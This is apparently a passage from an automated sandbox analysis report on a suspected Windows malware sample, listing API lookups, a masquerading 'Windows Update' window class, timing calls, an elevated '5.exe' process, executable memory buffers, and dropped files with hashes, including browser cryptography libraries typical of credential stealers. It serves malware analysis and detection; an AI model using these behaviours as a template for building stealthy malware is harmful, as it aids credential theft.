Get Address c:\windows\syswow64\user32.dll function = LoadIconW, address_out = 0x74f5b142 True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = GetMonitorInfoW, address_out = 0x74f63000 True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = MonitorFromWindow, address_out = 0x74f63150 True 1
Fn
Get Address c:\windows\syswow64\gdi32.dll function = TextOutW, address_out = 0x75aed41c True 1
Fn
Get Address c:\windows\syswow64\gdi32.dll function = SetBkMode, address_out = 0x75ae51a2 True 1
Fn
Get Address c:\windows\syswow64\gdi32.dll function = SelectObject, address_out = 0x75ae4f70 True 1
Fn
Get Address c:\windows\syswow64\gdi32.dll function = CreateFontW, address_out = 0x75aeb600 True 1
Fn
Get Address c:\windows\syswow64\gdi32.dll function = DeleteObject, address_out = 0x75ae5689 True 1
Fn
Get Address c:\windows\syswow64\gdi32.dll function = CreateSolidBrush, address_out = 0x75ae4f17 True 1
Fn
Get Address c:\windows\syswow64\gdi32.dll function = SetTextAlign, address_out = 0x75ae8401 True 1
Fn
Get Address c:\windows\winsxs\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\comctl32.dll function = InitCommonControlsEx, address_out = 0x748409ce True 1
Fn
Get Address c:\windows\syswow64\winmm.dll function = timeGetTime, address_out = 0x74af26e0 True 1
Fn
Get Address c:\windows\syswow64\msvcr100.dll function = atexit, address_out = 0x749dc544 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = InitializeCriticalSectionEx, address_out = 0x76c34d28 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = LCMapStringEx, address_out = 0x76cb47f1 True 1
Fn
Window (1)
»
Operation Window Name Additional Information Success Count Logfile
Create Windows Update class_name = WINDOWSUPDATE, wndproc_parameter = 0 True 1
Fn
System (264)
»
Operation Additional Information Success Count Logfile
Sleep duration = 1000 milliseconds (1.000 seconds) True 8
Fn
Get Time type = System Time, time = 2019-07-13 15:57:26 (UTC) True 1
Fn
Get Time type = Ticks, time = 112601 True 1
Fn
Get Time type = Performance Ctr, time = 17117821023 True 1
Fn
Get Time type = Ticks, time = 112726 True 1
Fn
Get Time type = System Time True 249
Fn
Get Time type = System Time, time = 2019-07-13 15:57:27 (UTC) True 1
Fn
Get Time type = Performance Ctr, time = 17227788660 True 1
Fn
Get Info type = Operating System True 1
Fn
Environment (2)
»
Operation Additional Information Success Count Logfile
Get Environment String - True 2
Fn
Data
Process #9: 5.exe
859 1
»
Information Value
ID #9
File Name c:\users\5p5nrgjn0js halpmcxz\appdata\local\14eec914-0e8f-4440-8677-a8df15bdfc40\5.exe
Command Line "C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Local\14eec914-0e8f-4440-8677-a8df15bdfc40\5.exe"
Initial Working Directory C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\
Monitor Start Time: 00:00:51, Reason: Child Process
Unmonitor End Time: 00:01:03, Reason: Self Terminated
Monitor Duration 00:00:12
OS Process Information
»
Information Value
PID 0xb30
Parent PID 0xaa8 (c:\users\5p5nrgjn0js halpmcxz\desktop\cusershpappdatalocal03562a36-8263-4270-b004-3b05eb1758e3e285.tmp.exe)
Bitness 32-bit
Is Created or Modified Executable True
Integrity Level High (Elevated)
Username XDUWTFONO\5p5NrGJn0jS HALPmcxz
Enabled Privileges SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs
0x B34
0x B6C
0x B70
0x B74
0x B78
0x B7C
0x B80
0x B84
Memory Dumps
»
Name Start VA End VA Dump Reason PE Rebuilds Bitness Entry Points AV YARA Actions
5.exe 0x00400000 0x00511FFF Relevant Image - 32-bit - False False
...
buffer 0x0064DC70 0x0066958F Marked Executable - 32-bit - False False
...
buffer 0x0064DC70 0x0066958F Content Changed - 32-bit 0x0065079F, 0x0064FE74 False False
...
Dropped Files
»
Filename File Size Hash Values YARA Match Actions
C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-core-console-l1-1-0.dll 18.30 KB MD5: 502263c56f931df8440d7fd2fa7b7c00
SHA1: 523a3d7c3f4491e67fc710575d8e23314db2c1a2
SHA256: 94a5df1227818edbfd0d5091c6a48f86b4117c38550343f780c604eee1cd6231
SSDeep: 192:3jBMWIghWGZiKedXe123Ouo+Uggs/nGfe4pBjS/uBmWh0txKdmVWQ4GWDZoiyqnP:GWPhWVXYi00GftpBjSemTltcwpS 		False
...
C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-core-datetime-l1-1-0.dll 17.80 KB MD5: cb978304b79ef53962408c611dfb20f5
SHA1: eca42f7754fb0017e86d50d507674981f80bc0b9
SHA256: 90fae0e7c3644a6754833c42b0ac39b6f23859f9a7cf4b6c8624820f59b9dad3
SSDeep: 192:RWIghWG4U9xluZo123Ouo+Uggs/nGfe4pBjSbMDPxVWh0txKdmVWQ4CWrDry6qnZ:RWPhWFv0i00GftpBjBHem6plUG+zIw 		False
...
C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-core-debug-l1-1-0.dll 17.80 KB MD5: 88ff191fd8648099592ed28ee6c442a5
SHA1: 6a4f818b53606a5602c609ec343974c2103bc9cc
SHA256: c310cc91464c9431ab0902a561af947fa5c973925ff70482d3de017ed3f73b7d
SSDeep: 384:cWPhWM4Ri00GftpBj2YILemtclD16PaEC:l10oiBQe/L 		False
...
C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-core-errorhandling-l1-1-0.dll 17.80 KB MD5: 6d778e83f74a4c7fe4c077dc279f6867
SHA1: f5d9cf848f79a57f690da9841c209b4837c2e6c3
SHA256: a97dcca76cdb12e985dff71040815f28508c655ab2b073512e386dd63f4da325
SSDeep: 192:NFmxD3PWIghWGJY/luZo123Ouo+Uggs/nGfe4pBjSffcp8Wh0txKdmVWQ4yWRzOr:NFkWPhW60i00GftpBj4emHlD16Pa7v 		False
...
C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-core-file-l1-1-0.dll 21.30 KB MD5: 94ae25c7a5497ca0be6882a00644ca64
SHA1: f7ac28bbc47e46485025a51eeb6c304b70cee215
SHA256: 7ea06b7050f9ea2bcc12af34374bdf1173646d4e5ebf66ad690b37f4df5f3d4e
SSDeep: 384:d6PvVXHWPhWnsnhi00GftpBjaJemyDlD16PamW8:UPvVX85nhoisJeLt8 		False
...
C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-core-file-l1-2-0.dll 17.80 KB MD5: e2f648ae40d234a3892e1455b4dbbe05
SHA1: d9d750e828b629cfb7b402a3442947545d8d781b
SHA256: c8c499b012d0d63b7afc8b4ca42d6d996b2fcf2e8b5f94cacfbec9e6f33e8a03
SSDeep: 192:IWIghWGJnWdsNtL/123Ouo+Uggs/nGfe4pBjSfcD63QXWh0txKdmVWQ4yW1rwqnh:IWPhWlsnhi00GftpBjnem9lD16PamFP 		False
...
C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-core-file-l2-1-0.dll 17.80 KB MD5: e479444bdd4ae4577fd32314a68f5d28
SHA1: 77edf9509a252e886d4da388bf9c9294d95498eb
SHA256: c85dc081b1964b77d289aac43cc64746e7b141d036f248a731601eb98f827719
SSDeep: 192:BZwWIghWG4U9ydsNtL/123Ouo+Uggs/nGfe4pBjSbUGHvNWh0txKdmVWQ4CWVU9h:UWPhWFBsnhi00GftpBjKvxemPlP55QQ7 		False
...
C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-core-handle-l1-1-0.dll 17.80 KB MD5: 6db54065b33861967b491dd1c8fd8595
SHA1: ed0938bbc0e2a863859aad64606b8fc4c69b810a
SHA256: 945cc64ee04b1964c1f9fcdc3124dd83973d332f5cfb696cdf128ca5c4cbd0e5
SSDeep: 384:AWPhWXDz6i00GftpBj5FrFaemx+lDbNh/6:hroidkeppp 		False
...
C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-core-heap-l1-1-0.dll 17.80 KB MD5: 2ea3901d7b50bf6071ec8732371b821c
SHA1: e7be926f0f7d842271f7edc7a4989544f4477da7
SHA256: 44f6df4280c8ecc9c6e609b1a4bfee041332d337d84679cfe0d6678ce8f2998a
SSDeep: 192:GElqWIghWGZi5edXe123Ouo+Uggs/nGfe4pBjS/PHyRWh0txKdmVWQ4GWC2w4Dj3:GElqWPhWCXYi00GftpBjP9emYXlDbNs 		False
...
C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-core-interlocked-l1-1-0.dll 17.44 KB MD5: d97a1cb141c6806f0101a5ed2673a63d
SHA1: d31a84c1499a9128a8f0efea4230fcfa6c9579be
SHA256: deccd75fc3fc2bb31338b6fe26deffbd7914c6cd6a907e76fd4931b7d141718c
SSDeep: 192:DtiYsFWWIghWGQtu7B123Ouo+Uggs/nGfe4pBjSPiZadcbWh0txKdmVWQ4mWf2FN:5iYsFWWPhWUTi00GftpBjremUBNlgC 		False
...
C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-core-libraryloader-l1-1-0.dll 18.30 KB MD5: d0873e21721d04e20b6ffb038accf2f1
SHA1: 9e39e505d80d67b347b19a349a1532746c1f7f88
SHA256: bb25ccf8694d1fcfce85a7159dcf6985fdb54728d29b021cb3d14242f65909ce
SSDeep: 384:yHvuBL3BmWPhWZTi00GftpBjNKnemenyAlvN9W/L:yWBL3BXYoinKne1yd 		False
...
C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-core-localization-l1-2-0.dll 20.30 KB MD5: eff11130bfe0d9c90c0026bf2fb219ae
SHA1: cf4c89a6e46090d3d8feeb9eb697aea8a26e4088
SHA256: 03ad57c24ff2cf895b5f533f0ecbd10266fd8634c6b9053cc9cb33b814ad5d97
SSDeep: 384:KOMw3zdp3bwjGjue9/0jCRrndbVWPhWIDz6i00GftpBj6cemjlD16Pa+4r:KOMwBprwjGjue9/0jCRrndbCOoireqv 		False
...
C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-core-memory-l1-1-0.dll 18.30 KB MD5: d500d9e24f33933956df0e26f087fd91
SHA1: 6c537678ab6cfd6f3ea0dc0f5abefd1c4924f0c0
SHA256: bb33a9e906a5863043753c44f6f8165afe4d5edb7e55efa4c7e6e1ed90778eca
SSDeep: 384:+bZWPhWUsnhi00GftpBjwBemQlD16Par7:b4nhoi6BedH 		False
...
C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-core-namedpipe-l1-1-0.dll 17.80 KB MD5: 6f6796d1278670cce6e2d85199623e27
SHA1: 8aa2155c3d3d5aa23f56cd0bc507255fc953ccc3
SHA256: c4f60f911068ab6d7f578d449ba7b5b9969f08fc683fd0ce8e2705bbf061f507
SSDeep: 192:pgWIghWGZiBeS123Ouo+Uggs/nGfe4pBjS/fE/hWh0txKdmVWQ4GWoxYyqnaj/6B:iWPhWUEi00GftpBj1temnltcwWB 		False
...
C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-core-processenvironment-l1-1-0.dll 18.80 KB MD5: 5f73a814936c8e7e4a2dfd68876143c8
SHA1: d960016c4f553e461afb5b06b039a15d2e76135e
SHA256: 96898930ffb338da45497be019ae1adcd63c5851141169d3023e53ce4c7a483e
SSDeep: 192:wXjWIghWGd4dsNtL/123Ouo+Uggs/nGfe4pBjSXcYddWh0txKdmVWQ4SW04engo5:MjWPhWHsnhi00GftpBjW7emOj5l1z6hP 		False
...
C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-core-processthreads-l1-1-0.dll 18.94 KB MD5: a2d7d7711f9c0e3e065b2929ff342666
SHA1: a17b1f36e73b82ef9bfb831058f187535a550eb8
SHA256: 9dab884071b1f7d7a167f9bec94ba2bee875e3365603fa29b31de286c6a97a1d
SSDeep: 384:afk1JzNcKSIJWPhW2snhi00GftpBjZqcLvemr4PlgC:RcKST+nhoi/BbeGv 		False
...
C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-core-processthreads-l1-1-1.dll 18.30 KB MD5: d0289835d97d103bad0dd7b9637538a1
SHA1: 8ceebe1e9abb0044808122557de8aab28ad14575
SHA256: 91eeb842973495deb98cef0377240d2f9c3d370ac4cf513fd215857e9f265a6a
SSDeep: 384:xzADfIeRWPhWKEi00GftpBjj1emMVlvN0M:xzfeWeoi11ep 		False
...
C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-core-profile-l1-1-0.dll 17.30 KB MD5: fee0926aa1bf00f2bec9da5db7b2de56
SHA1: f5a4eb3d8ac8fb68af716857629a43cd6be63473
SHA256: 8eb5270fa99069709c846db38be743a1a80a42aa1a88776131f79e1d07cc411c
SSDeep: 192:w9WIghWGdUuDz7M123Ouo+Uggs/nGfe4pBjSXrw58h6Wh0txKdmVWQ4SW7QQtzko:w9WPhWYDz6i00GftpBjXPemD5l1z6hv 		False
...
C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-core-rtlsupport-l1-1-0.dll 17.30 KB MD5: fdba0db0a1652d86cd471eaa509e56ea
SHA1: 3197cb45787d47bac80223e3e98851e48a122efa
SHA256: 2257fea1e71f7058439b3727ed68ef048bd91dcacd64762eb5c64a9d49df0b57
SSDeep: 384:61G1WPhWksnhi00GftpBjEVXremWRlP55Jk:kGiYnhoiqVXreDT5Y 		False
...
C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-core-string-l1-1-0.dll 17.80 KB MD5: 12cc7d8017023ef04ebdd28ef9558305
SHA1: f859a66009d1caae88bf36b569b63e1fbdae9493
SHA256: 7670fdede524a485c13b11a7c878015e9b0d441b7d8eb15ca675ad6b9c9a7311
SSDeep: 384:xyMvRWPhWFs0i00GftpBjwCJdemnflUG+zI4:xyMvWWoibeTnn 		False
...
C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-core-synch-l1-1-0.dll 19.80 KB MD5: 71af7ed2a72267aaad8564524903cff6
SHA1: 8a8437123de5a22ab843adc24a01ac06f48db0d3
SHA256: 5dd4ccd63e6ed07ca3987ab5634ca4207d69c47c2544dfefc41935617652820f
SSDeep: 384:5Xdv3V0dfpkXc0vVaHWPhWXEi00GftpBj9em+4lndanJ7o:5Xdv3VqpkXc0vVa8poivex 		False
...
C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-core-synch-l1-2-0.dll 18.30 KB MD5: 0d1aa99ed8069ba73cfd74b0fddc7b3a
SHA1: ba1f5384072df8af5743f81fd02c98773b5ed147
SHA256: 30d99ce1d732f6c9cf82671e1d9088aa94e720382066b79175e2d16778a3dad1
SSDeep: 384:JtZ3gWPhWFA0i00GftpBj4Z8wemFfYlP55t:j+oiVweb53 		False
...
C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-core-sysinfo-l1-1-0.dll 18.80 KB MD5: 19a40af040bd7add901aa967600259d9
SHA1: 05b6322979b0b67526ae5cd6e820596cbe7393e4
SHA256: 4b704b36e1672ae02e697efd1bf46f11b42d776550ba34a90cd189f6c5c61f92
SSDeep: 384:2q25WPhWWsnhi00GftpBj1u6qXxem4l1z6hi:25+SnhoiG6IeA8 		False
...
C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-core-timezone-l1-1-0.dll 17.80 KB MD5: babf80608fd68a09656871ec8597296c
SHA1: 33952578924b0376ca4ae6a10b8d4ed749d10688
SHA256: 24c9aa0b70e557a49dac159c825a013a71a190df5e7a837bfa047a06bba59eca
SSDeep: 384:SWPhWK3di00GftpBjH35Gvem2Al1z6hIu:77NoiOve7eu 		False
...
C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-core-util-l1-1-0.dll 17.80 KB MD5: 0f079489abd2b16751ceb7447512a70d
SHA1: 679dd712ed1c46fbd9bc8615598da585d94d5d87
SHA256: f7d450a0f59151bcefb98d20fcae35f76029df57138002db5651d1b6a33adc86
SSDeep: 192:pePWIghWG4U9wluZo123Ouo+Uggs/nGfe4pBjSbKT8wuxWh0txKdmVWQ4CWnFnwQ:pYWPhWFS0i00GftpBj7DudemJlP552 		False
...
C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-crt-conio-l1-1-0.dll 18.80 KB MD5: 6ea692f862bdeb446e649e4b2893e36f
SHA1: 84fceae03d28ff1907048acee7eae7e45baaf2bd
SHA256: 9ca21763c528584bdb4efebe914faaf792c9d7360677c87e93bd7ba7bb4367f2
SSDeep: 384:8WPhWz4Ri00GftpBjDb7bemHlndanJ7DW:Fm0oiV7beV 		False
...
C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-crt-convert-l1-1-0.dll 21.80 KB MD5: 72e28c902cd947f9a3425b19ac5a64bd
SHA1: 9b97f7a43d43cb0f1b87fc75fef7d9eeea11e6f7
SHA256: 3cc1377d495260c380e8d225e5ee889cbb2ed22e79862d4278cfa898e58e44d1
SSDeep: 384:EuydWPhW7snhi00GftpBjd6t/emJlDbN:3tnhoi6t/eAp 		False
...
C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-crt-environment-l1-1-0.dll 18.30 KB MD5: ac290dad7cb4ca2d93516580452eda1c
SHA1: fa949453557d0049d723f9615e4f390010520eda
SHA256: c0d75d1887c32a1b1006b3cffc29df84a0d73c435cdcb404b6964be176a61382
SSDeep: 192:bWIghWGd4edXe123Ouo+Uggs/nGfe4pBjSXXmv5Wh0txKdmVWQ4SWEApkqnajPBZ:bWPhWqXYi00GftpBjBemPl1z6h2 		False
...
C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-crt-filesystem-l1-1-0.dll 19.80 KB MD5: aec2268601470050e62cb8066dd41a59
SHA1: 363ed259905442c4e3b89901bfd8a43b96bf25e4
SHA256: 7633774effe7c0add6752ffe90104d633fc8262c87871d096c2fc07c20018ed2
SSDeep: 384:sq6nWm5C1WPhWFK0i00GftpBjB1UemKklUG+zIOd/:x6nWm5CiooiKeZnbd/ 		False
...
C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-crt-heap-l1-1-0.dll 18.80 KB MD5: 93d3da06bf894f4fa21007bee06b5e7d
SHA1: 1e47230a7ebcfaf643087a1929a385e0d554ad15
SHA256: f5cf623ba14b017af4aec6c15eee446c647ab6d2a5dee9d6975adc69994a113d
SSDeep: 192:+Y3vY17aFBR4WIghWG4U9CedXe123Ouo+Uggs/nGfe4pBjSbGGAPWh0txKdmVWQC:+Y3e9WPhWFsXYi00GftpBjfemnlP55s 		False
...
C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-crt-locale-l1-1-0.dll 18.30 KB MD5: a2f2258c32e3ba9abf9e9e38ef7da8c9
SHA1: 116846ca871114b7c54148ab2d968f364da6142f
SHA256: 565a2eec5449eeeed68b430f2e9b92507f979174f9c9a71d0c36d58b96051c33
SSDeep: 192:fiWIghWGZirX+4z123Ouo+Uggs/nGfe4pBjS/RFcpOWh0txKdmVWQ4GWs8ylDikh:aWPhWjO4Ri00GftpBjZOemSXlvNQ0 		False
...
C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-crt-math-l1-1-0.dll 28.30 KB MD5: 8b0ba750e7b15300482ce6c961a932f0
SHA1: 71a2f5d76d23e48cef8f258eaad63e586cfc0e19
SHA256: bece7bab83a5d0ec5c35f0841cbbf413e01ac878550fbdb34816ed55185dcfed
SSDeep: 384:7OTEmbM4Oe5grykfIgTmLyWPhW30i00GftpBjAKemXlDbNl:dEMq5grxfInbRoiNeSp 		False
...
C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-crt-multibyte-l1-1-0.dll 25.80 KB MD5: 35fc66bd813d0f126883e695664e7b83
SHA1: 2fd63c18cc5dc4defc7ea82f421050e668f68548
SHA256: 66abf3a1147751c95689f5bc6a259e55281ec3d06d3332dd0ba464effa716735
SSDeep: 384:kDy+Kr6aLPmIHJI6/CpG3t2G3t4odXL5WPhWFY0i00GftpBjbnMxem8hzlmTMiLV:kDZKrZPmIHJI64GoiZMxe0V 		False
...
C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-crt-private-l1-1-0.dll 71.30 KB MD5: 9910a1bfdc41c5b39f6af37f0a22aacd
SHA1: 47fa76778556f34a5e7910c816c78835109e4050
SHA256: 65ded8d2ce159b2f5569f55b2caf0e2c90f3694bd88c89de790a15a49d8386b9
SSDeep: 1536:VAHEGlVDe5c4bFE2Jy2cvxXWpD9d3334BkZnkPFZo6kt:Vc7De5c4bFE2Jy2cvxXWpD9d3334BkZj 		False
...
C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-crt-process-l1-1-0.dll 18.80 KB MD5: 8d02dd4c29bd490e672d271700511371
SHA1: f3035a756e2e963764912c6b432e74615ae07011
SHA256: c03124ba691b187917ba79078c66e12cbf5387a3741203070ba23980aa471e8b
SSDeep: 192:aRQqjd7dWIghWG4U9kuDz7M123Ouo+Uggs/nGfe4pBjSbAURWh0txKdmVWQ4CW+6:aKcWPhWFkDz6i00GftpBjYemZlUG+zIU 		False
...
C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-crt-runtime-l1-1-0.dll 22.30 KB MD5: 41a348f9bedc8681fb30fa78e45edb24
SHA1: 66e76c0574a549f293323dd6f863a8a5b54f3f9b
SHA256: c9bbc07a033bab6a828ecc30648b501121586f6f53346b1cd0649d7b648ea60b
SSDeep: 384:7b7hrKwWPhWFlsnhi00GftpBj+6em90lmTMiLzrF7:7bNrKxZnhoig6eQN7 		False
...
C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-crt-stdio-l1-1-0.dll 23.80 KB MD5: fefb98394cb9ef4368da798deab00e21
SHA1: 316d86926b558c9f3f6133739c1a8477b9e60740
SHA256: b1e702b840aebe2e9244cd41512d158a43e6e9516cd2015a84eb962fa3ff0df7
SSDeep: 384:GZpFVhjWPhWxEi00GftpBjmjjem3Cl1z6h1r:eCfoi0espbr 		False
...
C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-crt-string-l1-1-0.dll 22.94 KB MD5: 404604cd100a1e60dfdaf6ecf5ba14c0
SHA1: 58469835ab4b916927b3cabf54aee4f380ff6748
SHA256: 73cc56f20268bfb329ccd891822e2e70dd70fe21fc7101deb3fa30c34a08450c
SSDeep: 384:5iFMx0C5yguNvZ5VQgx3SbwA7yMVIkFGlnWPhWGTi00GftpBjslem89lgC:56S5yguNvZ5VQgx3SbwA71IkFv5oialj 		False
...
C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-crt-time-l1-1-0.dll 20.30 KB MD5: 849f2c3ebf1fcba33d16153692d5810f
SHA1: 1f8eda52d31512ebfdd546be60990b95c8e28bfb
SHA256: 69885fd581641b4a680846f93c2dd21e5dd8e3ba37409783bc5b3160a919cb5d
SSDeep: 384:8ZSWWVgWPhWFe3di00GftpBjnlfemHlUG+zITA+0:XRNoibernAA+0 		False
...
C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-crt-utility-l1-1-0.dll 18.30 KB MD5: b52a0ca52c9c207874639b62b6082242
SHA1: 6fb845d6a82102ff74bd35f42a2844d8c450413b
SHA256: a1d1d6b0cb0a8421d7c0d1297c4c389c95514493cd0a386b49dc517ac1b9a2b0
SSDeep: 192:QqfHQdu3WIghWG4U9lYdsNtL/123Ouo+Uggs/nGfe4pBjSb8Z9Wh0txKdmVWQ4Cg:/fBWPhWF+esnhi00GftpBjLBemHlP55q 		False
...
C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/freebl3.dll 324.95 KB MD5: 343aa83574577727aabe537dccfdeafc
SHA1: 9ce3b9a182429c0dba9821e2e72d3ab46f5d0a06
SHA256: 393ae7f06fe6cd19ea6d57a93dd0acd839ee39ba386cf1ca774c4c59a3bfebd8
SSDeep: 6144:C+YBCxpjbRIDmvby5xDXlFVJM8PojGGHrIr1qqDL6XP+jW:Cu4Abg7XV72GI/qn6z 		False
...
C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/mozglue.dll 135.95 KB MD5: 9e682f1eb98a9d41468fc3e50f907635
SHA1: 85e0ceca36f657ddf6547aa0744f0855a27527ee
SHA256: 830533bb569594ec2f7c07896b90225006b90a9af108f49d6fb6bebd02428b2d
SSDeep: 3072:8Oqe98Ea4usvd5jm6V0InXx/CHzGYC6NccMmxK3atIYHD2JJJsPyimY4kQkE:Vqe98Evua5Sm0ux/5YC6NccMmtXHD2JR 		False
...
C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/msvcp140.dll 429.80 KB MD5: 109f0f02fd37c84bfc7508d4227d7ed5
SHA1: ef7420141bb15ac334d3964082361a460bfdb975
SHA256: 334e69ac9367f708ce601a6f490ff227d6c20636da5222f148b25831d22e13d4
SSDeep: 12288:Mlp4PwrPTlZ+/wKzY+dM+gjZ+UGhUgiW6QR7t5s03Ooc8dHkC2es9oV:Mlp4PePozGMA03Ooc8dHkC2ecI 		False
...
C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/nss3.dll 1.19 MB MD5: 556ea09421a0f74d31c4c0a89a70dc23
SHA1: f739ba9b548ee64b13eb434a3130406d23f836e3
SHA256: f0e6210d4a0d48c7908d8d1c270449c91eb4523e312a61256833bfeaf699abfb
SSDeep: 24576:XDI7I4/FeoJQuQ3IhXtHfjyqgJ0BnPQAib7/12bg2JSna5xfg0867U4MSpu731hn:uQ3YX5jyqgynPkbd24VwMSpu7Fhn 		False
...
C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/nssdbm3.dll 90.45 KB MD5: 569a7a65658a46f9412bdfa04f86e2b2
SHA1: 44cc0038e891ae73c43b61a71a46c97f98b1030d
SHA256: 541a293c450e609810279f121a5e9dfa4e924d52e8b0c6c543512b5026efe7ec
SSDeep: 1536:5vNGVOt0VjOJkbH8femxfRVMNKBDuOQWL1421GlkxERC+ANcFZoZ/6tNRCwI41ZH:hNGVOiBZbcGmxXMcBqmzoCUZoZebHZMw 		False
...
C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/softokn3.dll 140.95 KB MD5: 67827db2380b5848166a411bae9f0632
SHA1: f68f1096c5a3f7b90824aa0f7b9da372228363ff
SHA256: 9a7f11c212d61856dfc494de111911b7a6d9d5e9795b0b70bbbc998896f068ae
SSDeep: 3072:zAf6suip+z7FEk/oJz69sFaXeu9CoT2nIZvetBWqIBoE9Mv:Q6PpsF4CoT2EeY2eMv 		False
...
C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/ucrtbase.dll 1.09 MB MD5: d6326267ae77655f312d2287903db4d3
SHA1: 1268bef8e2ca6ebc5fb974fdfaff13be5ba7574f
SHA256: 0bb8c77de80acf9c43de59a8fd75e611cc3eb8200c69f11e94389e8af2ceb7a9
SSDeep: 24576:bZBmnrh2YVAPROs7Bt/tX+/APcmcvIZPoy4TbK:FBmF2lIeaAPgb 		False
...
C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/vcruntime140.dll 81.82 KB MD5: 7587bf9cb4147022cd5681b015183046
SHA1: f2106306a8f6f0da5afb7fc765cfa0757ad5a628
SHA256: c40bb03199a2054dabfc7a8e01d6098e91de7193619effbd0f142a7bf031c14d
SSDeep: 1536:AQXQNgAuCDeHFtg3uYQkDqiVsv39niI35kU2yecbVKHHwhbfugbZyk:AQXQNVDeHFtO5d/A39ie6yecbVKHHwJF 		False
...
C:\Users\5P5NRG~1\AppData\Local\Temp\11837313456926651835.tmp 18.00 KB MD5: 29844404ae855e9df054833f71888eb1
SHA1: 3e86f08def08fc14ddec0227d0643319562666db
SHA256: c381401ea96dfe9b926126dcbbc0dd6ab541dbf549732cc6c66f20096b1f663e
SSDeep: 24:LLijhJ0KL7G0TMJHUyyJtmCm0u6lOKQAE9V8FsffDVOzeCmly6UwcTa/HMQW:wz+JH3yJUhJCVE9V8FsXhFlNU1Ts3W 		False
...
C:\Users\5P5NRG~1\AppData\Local\Temp\119917831523496827418.tmp 7.00 KB MD5: 0111897c22e2ab86bfd65ccf91adc717
SHA1: c499d8febec0f0cb771a654fc65699c22226fe37
SHA256: cff896f26e26cdf1a63e312f89795366ee2bc902323cabe44a86aa4ad0977228
SSDeep: 48:tNecVTgPOpEveoJZFrU10WB58PdJAKr1EcO:tVSNDX25E 		False
...
C:\Users\5P5NRG~1\AppData\Local\Temp\1200428247797166008614.tmp 512.00 KB MD5: ca84b062330bf89c92f6da9fbd818b9e
SHA1: f52fd559629cecf4a02037663c6d9bf171ac7235
SHA256: 3ce8414a491044fca9d5c4de1af15fc54c06ba021a7ba2199e092f35c42fbdf4
SSDeep: 48:DML4nwTqMXQ98wM6ckr3ekPokj+rU+D0KHhS0wy:Dbn39e8DdPHaB33 		False
...
C:\Users\5P5NRG~1\AppData\Local\Temp\1200428247797166008614.tmp-shm 32.00 KB MD5: b7c14ec6110fa820ca6b65f5aec85911
SHA1: 608eeb7488042453c9ca40f7e1398fc1a270f3f4
SHA256: fd4c9fda9cd3f9ae7c962b0ddf37232294d55580e1aa165aa06129b8549389eb
SSDeep: 3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX 		False
...
C:\Users\5P5NRG~1\AppData\Local\Temp\1201202334891414616440.tmp 68.00 KB MD5: 3067eb8025ae0262c7a5c681d7982d67
SHA1: 534976f915f2dd49adcf09677f9d38a0d0cfee63
SHA256: 9260dd9c2b2253e0a886f4d66e22c561d23604fe0010bbac8240f8fdc3aaf945
